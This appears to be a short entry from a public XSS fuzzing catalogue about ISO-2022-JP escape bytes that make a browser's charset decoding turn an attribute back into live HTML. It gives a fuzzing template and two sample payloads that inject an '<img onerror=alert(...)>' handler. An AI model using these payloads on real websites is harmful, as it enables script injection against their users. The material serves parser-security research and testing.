Bytes that will normalize ISO-2022-JP

Which escape sequences will normalize back to valid HTML

Novice Fuzzer

Created Dec 26, 2024

Updated May 27, 2025

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CategoryHTML Parsing

VisibilityPublic

TypeXSS

CharsetISO-2022-JP

Template used:

<a id="$[bytes:1b2442]"></a>$[bytes:1b28]$[chr]<a id="><img src=x onerror=log($[i])></a>

Sample payloads

<a id="0x1B$B"></a>0x1B(B<a id="><img src=x onerror=alert(66)></a>

<a id="0x1B$B"></a>0x1B(J<a id="><img src=x onerror=alert(74)></a>